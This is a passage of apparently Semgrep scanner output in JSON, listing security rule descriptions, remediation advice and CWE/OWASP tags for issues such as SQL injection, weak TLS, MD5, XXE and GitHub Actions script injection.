[https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/](https://www.acunetix.com/blog/articles/tls-ssl-cipher-hardening/)\n","text":"Detected use of an insecure SSL version. Secure SSL versions are TLSv1.2 and TLS1.3; older versions are known to be broken and are susceptible to attacks. Prefer use of TLSv1.2 or later."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-ssl-version.insecure-ssl-version","id":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","name":"generic.nginx.security.insecure-ssl-version.insecure-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-ssl-version.insecure-ssl-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL)\n","text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","id":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","name":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","id":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","name":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","id":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","name":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"help":{"markdown":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5","id":"clojure.lang.security.use-of-md5.use-of-md5","name":"clojure.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","id":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","name":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pgx-sqli.pgx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"help":{"markdown":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","id":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","name":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","id":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","name":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","id":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","name":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","properties":{"precision":"very-high","tags":["CWE-296: Improper Following of a Certificate's Chain of Trust","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password","id":"go.secrets.pg.pg-empty-password.pg-empty-password","name":"go.secrets.pg.pg-empty-password.pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-empty-password.pg-empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","id":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","name":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"help":{"markdown":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate)\n - [https://www.php.net/manual/en/function.openssl-decrypt.php](https://www.php.net/manual/en/function.openssl-decrypt.php)\n","text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"helpUri":"https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","id":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","name":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","properties":{"precision":"very-high","tags":["CWE-252: Unchecked Return Value","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","id":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","name":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","id":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","name":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"help":{"markdown":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","id":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","name":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection)\n - 